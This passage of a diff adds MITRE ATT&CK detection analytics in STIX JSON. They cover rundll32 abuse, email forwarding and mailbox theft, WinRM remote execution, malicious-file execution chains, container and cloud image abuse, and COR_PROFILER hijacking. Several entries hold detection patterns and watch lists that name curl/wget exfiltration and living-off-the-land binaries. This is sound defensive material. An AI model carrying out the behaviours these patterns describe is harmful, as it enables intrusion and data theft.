"Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8cd02c43-f3f5-4623-a816-cefe1f586288", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0474#AN1307", + "external_id": "AN1307" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1307", + "description": "macOS environmental keying behavioral chain: (1) System information discovery through native utilities (system_profiler, sw_vers, hostname, dscl) and Security framework queries, (2) Hardware and software enumeration including serial numbers, installed applications, and system versions, (3) Network configuration assessment (networksetup, scutil) and wireless network discovery, (4) Keychain and security context validation, (5) Unified Logs correlation with cryptographic framework usage (CommonCrypto, Security.framework), (6) Application bundle execution following environmental validation", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process execution events for discovery utilities (system_profiler, sw_vers, dscl, networksetup) with command-line parameter analysis" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "Security framework operations including keychain access, cryptographic operations, and certificate validation" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "fs:fsevents", + "channel": "file system events indicating access to system configuration files and environmental information sources" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SystemProfilerDataTypes", + "description": "Specific system_profiler data types that adversaries commonly target (SPHardwareDataType, SPSoftwareDataType, SPNetworkDataType) - customize based on threat intelligence" + }, + { + "field": "SecurityFrameworkOperationPatterns", + "description": "Security.framework and CommonCrypto API usage patterns indicating cryptographic operations for environmental keying" + }, + { + "field": "UnifiedLogRetentionWindow", + "description": "Time window for correlating discovery activities with subsequent cryptographic operations - balance between detection coverage and log volume" + }, + { + "field": "ApplicationBundleValidationPaths", + "description": "Specific application bundle paths and identifiers that might be subject to environmental validation" + }, + { + "field": "NetworkConfigurationIdentifiers", + "description": "Organization-specific network configurations, WiFi SSIDs, and network services that adversaries might validate against" + }, + { + "field": "MacOSVersionBaseline", + "description": "Expected macOS versions and configurations in environment to identify version-specific environmental targeting" + }, + { + "field": "FSEventsFilteringCriteria", + "description": "File system event filtering criteria to focus on security-relevant file access patterns while managing event volume" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2cb33f68-48f8-4ffe-86e1-bc857a300398", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0475#AN1308", + "external_id": "AN1308" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1308", + "description": "Detects rundll32.exe invoked with atypical arguments (.dll, .cpl, javascript:, mshtml). DLLs not normally loaded by rundll32 are mapped into memory. Control_RunDLL or RunHTMLApplication invoked. Suspicious DLLs or scripts accessed from disk or network. Rundll32 reaches out to external domains (e.g., fetching .sct or .hta).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlating rundll32 invocation with DLL load or network activity within X seconds." + }, + { + "field": "ParentProcessFilter", + "description": "Limit detection to suspicious parent processes (e.g., explorer.exe, office apps) vs. trusted installers." + }, + { + "field": "AllowedDLLs", + "description": "Baseline list of legitimate DLLs frequently executed by rundll32 in the environment." + }, + { + "field": "ExternalIPRange", + "description": "Scope of external IP ranges considered anomalous for rundll32 network connections." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4f15b707-9b44-4716-bfcd-e3f28659077b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0476#AN1309", + "external_id": "AN1309" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1309", + "description": "Correlates creation of email forwarding rules or header anomalies (e.g., X-MS-Exchange-Organization-AutoForwarded) with suspicious process execution, file access of .pst/.ost files, and network connections to external SMTP servers.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--f5468e67-51c7-4756-9b4f-65707708e7fa", + "name": "WinEventLog:Security", + "channel": "EventCode=5145" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "WinEventLog:Application", + "channel": "Exchange logs or header artifacts" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Defines correlation window across email rule creation and outbound SMTP." + }, + { + "field": "UserContext", + "description": "Filters for admin or service accounts to reduce false positives." + }, + { + "field": "SMTPDomainList", + "description": "Allows tuning based on expected external email domains." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ba43428d-b5d2-4815-a614-42ff1ea816a9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0476#AN1310", + "external_id": "AN1310" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1310", + "description": "Detects file access to mbox/maildir files in conjunction with curl/wget/postfix execution, or anomalous shell scripts harvesting user mail directories.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "linux:syslog", + "channel": "postfix/smtpd" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "linux:osquery", + "channel": "process_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WatchedMailDirs", + "description": "Specify user mail directories (/var/mail, ~/Maildir)" + }, + { + "field": "ProcessNameList", + "description": "Tune based on local mail clients or curl usage in environment" + }, + { + "field": "TimeWindow", + "description": "Define how close together access and exfil events must occur" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ae581308-5c1f-40b9-ae6e-51c375821476", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0476#AN1311", + "external_id": "AN1311" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1311", + "description": "Monitors Mail.app database or maildir file access, automation via AppleScript, and abnormal mail rule creation using scripting or UI automation frameworks.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "macos:unifiedlog", + "channel": "Mail or AppleScript subsystem" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:endpointsecurity", + "channel": "es_event_open, es_event_exec" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ScriptProcessNameList", + "description": "Script interpreters or automation tools (osascript, Automator, etc.)" + }, + { + "field": "WatchedMailFiles", + "description": "Mail.app SQLite DB or .emlx directory" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2faaefb9-7816-4eb5-a9f5-b4006c99c20b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0476#AN1312", + "external_id": "AN1312" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1312", + "description": "Correlates unusual auto-forwarding rule creation via Exchange Web Services or Outlook rules engine, presence of X-MS-Exchange-Organization-AutoForwarded headers, and logon session anomalies from abnormal IPs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "m365:unified", + "channel": "Set-Mailbox, New-InboxRule" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:exchange", + "channel": "MessageTrace logs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "azure:ad", + "channel": "SignInEvents" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserAgentList", + "description": "Restrict rules from non-browser agents" + }, + { + "field": "ExternalSMTPDomainList", + "description": "Allow listing for org-sanctioned forwarding domains" + }, + { + "field": "TimeWindow", + "description": "Time delta between rule creation and suspicious sign-in" + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9dab17bf-62c7-4187-90f4-7335790df7c0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0477#AN1313", + "external_id": "AN1313" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1313", + "description": "Adversaries using WinRM to remotely execute commands, launch child processes, or access WMI. The detection chain includes service use, network activity, remote session logon, and process creation within a short temporal window.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "WinEventLog:Security", + "channel": "EventCode=4624" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c", + "name": "WinEventLog:WinRM", + "channel": "EventCode=6" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Connections", + "channel": "Inbound on ports 5985/5986" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Defines max time between remote shell creation and child process execution (e.g., 60 seconds)" + }, + { + "field": "UserContext", + "description": "Scope to unexpected remote user logons (non-admins, service accounts)" + }, + { + "field": "CommandLineAnomalyScore", + "description": "Score for suspicious command usage via WinRM (e.g., encoded PowerShell)" + }, + { + "field": "KnownAdminHosts", + "description": "List of trusted systems allowed to use WinRM legitimately" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--dcd6253b-a986-4c8a-bd89-46389007ea83", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0478#AN1314", + "external_id": "AN1314" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1314", + "description": "Cause\u2192effect chain: (1) User-facing app (Office/PDF/archiver/browser) records an open/click or abnormal event, then (2) a downloaded file is created in a user-writable path and/or decompressed, (3) the parent user app spawns a living-off-the-land binary (e.g., powershell/cmd/mshta/rundll32/msiexec/wscript/expand/zip) or installer, and (4) immediate outbound HTTP(S)/DNS/SMB from the same lineage.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "WinEventLog:Application", + "channel": "EventCode=1000,1001" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlation window (e.g., 15 minutes) from document open to child/egress." + }, + { + "field": "HighRiskParents", + "description": "Apps that should rarely spawn OS utilities (winword.exe, excel.exe, powerpnt.exe, acrord32.exe, chrome/msedge/firefox, 7zFM.exe, winrar.exe, explorer.exe)." + }, + { + "field": "HighRiskChildren", + "description": "LOLBIN list: powershell.exe, cmd.exe, wscript.exe, cscript.exe, mshta.exe, rundll32.exe, regsvr32.exe, msiexec.exe, curl.exe, bitsadmin.exe, pcalua.exe, expand.exe, tar.exe." + }, + { + "field": "UserPaths", + "description": "Writable paths to watch: %USERPROFILE%\\Downloads, %TEMP%, %APPDATA%\\*, OneDrive/Teams cache, Office startup folders." + }, + { + "field": "EgressAllowList", + "description": "Corporate update/CDN domains and proxy egress CIDRs to suppress benign updater traffic." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a6e7697d-f0b8-4fcc-b32a-fec5b28cd8f7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0478#AN1315", + "external_id": "AN1315" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1315", + "description": "Cause\u2192effect chain: (1) User app/browser/archiver logs an open/click or abnormal exit, (2) new executable/script/archive extracted into $HOME/Downloads, /tmp, or ~/.cache, (3) parent app spawns shell/interpreter (bash/sh/python/node/curl/wget) or desktop file, and (4) new outbound connection(s) from the child lineage.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "linux:syslog", + "channel": "opened document|clicked link|segfault|abnormal termination|sandbox" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:SYSCALL", + "channel": "creat" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "rename,chmod" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Flow", + "channel": "new outbound connection from browser/office lineage" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "5\u201320 minute correlation window." + }, + { + "field": "UserPaths", + "description": "$HOME/Downloads, /tmp, ~/.cache, ~/.config/autostart, ~/.local/share." + }, + { + "field": "HighRiskChildren", + "description": "bash, sh, zsh, python*, perl, node, curl, wget, xdg-open, kde-open, gio open, unzip/tar extraction leading to exec." + }, + { + "field": "PkgUpdaters", + "description": "Allow-list snap/flatpak/packagekit/apt workers to reduce false positives." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--66107cd1-c123-4ad5-bb0b-62d8a9a451a6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0478#AN1316", + "external_id": "AN1316" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1316", + "description": "Cause\u2192effect chain: (1) unified logs show application open/click or crash for Safari/Chrome/Office/Preview/archiver, (2) file write/extraction into ~/Downloads, /private/var/folders/* or ~/Library, (3) parent app spawns osascript/bash/zsh/curl/python or opens a quarantined app with Gatekeeper prompts, (4) network egress from child.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "macos:unifiedlog", + "channel": "opened document|clicked link|EXC_BAD_ACCESS|abort|LSQuarantine" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "fs:fileevents", + "channel": "create/write/rename in user-writable paths" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "exec" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Flow", + "channel": "new outbound connection from exploited lineage" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "10\u201330 minute correlation window." + }, + { + "field": "HighRiskChildren", + "description": "osascript, bash, zsh, curl, python, open -a Terminal, installer, tccutil misuse." + }, + { + "field": "QuarantineSignals", + "description": "Flag new apps lacking com.apple.quarantine or with quarantine='0081' (downloaded then auto-opened)." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3a6fdd1a-59c6-4f46-a761-0de502229da0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0478#AN1317", + "external_id": "AN1317" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1317", + "description": "Cause\u2192effect chain in CI/dev desktops: (1) user triggers container run/pull after opening a doc/link/script, (2) newly created image/container uses unexpected external registry or entrypoint, (3) container starts and immediately egresses to suspicious destinations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a5ae90ca-0c4b-481c-959f-0eb18a7ff953", + "name": "docker:events", + "channel": "created,started: new container from untrusted registry or unexpected entrypoint" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5fe82895-28e5-4aac-845e-dc886b63be2e", + "name": "docker:events", + "channel": "start" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "container egress to unknown IPs/domains" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TrustedRegistries", + "description": "Approved registries/namespaces." + }, + { + "field": "AllowedEntrypoints", + "description": "Expected CMD/ENTRYPOINT for known images." + }, + { + "field": "TimeWindow", + "description": "Correlate user action \u2192 docker/podman run within 10 minutes." + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e707cd33-8e20-4b1d-ad3f-fd3a3233fcdd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0478#AN1318", + "external_id": "AN1318" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1318", + "description": "Cause\u2192effect chain in cloud consoles: (1) user clicks link then invokes instance/image creation via API, (2) instance/image originates from external AMI or unknown image, (3) instance immediately egresses or retrieves payloads.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5b0e8ae-7436-4951-950a-7b83c4dd3f2c", + "name": "AWS:CloudTrail", + "channel": "RunInstances,CreateImage" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--f8213cde-6b3a-420d-9ab7-41c9af1a919f", + "name": "AWS:CloudTrail", + "channel": "StartInstances" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "gcp:vpcflow", + "channel": "first 5m egress to unknown ASNs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ApprovedImages", + "description": "AMI/image allow-list with owners." + }, + { + "field": "UserContext", + "description": "High-risk identities (federated, external IdP)." + }, + { + "field": "TimeWindow", + "description": "5\u201330 minutes from console/API action to network egress." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--39d115fc-5e7b-423f-94da-a3b4242e07b8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0479#AN1319", + "external_id": "AN1319" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1319", + "description": "Modification of COR_PROFILER-related environment variables or Registry keys (COR_ENABLE_PROFILING, COR_PROFILER, COR_PROFILER_PATH), combined with anomalous .NET process creation or unmanaged DLL loads. Defender observes registry modifications, suspicious process creation with altered environment variables, and profiler DLLs loaded unexpectedly into .NET CLR processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Security", + "channel": "EventCode=4657" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedProfilers", + "description": "List of known good COR_PROFILER CLSIDs and DLLs expected in developer or monitoring environments." + }, + { + "field": "ProcessScope", + "description": "Processes expected to load COR_PROFILER (e.g., Visual Studio) for baseline comparison." + }, + { + "field": "TimeWindow", + "description": "Interval between registry modification or file creation and profiler DLL load into .NET processes." + }, + { + "field": "ProfilerDllPaths", + "description": "Directories considered legitimate for profiler DLLs; deviations should raise alerts." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5233d621-6658-4338-b183-01bd73e52861", + 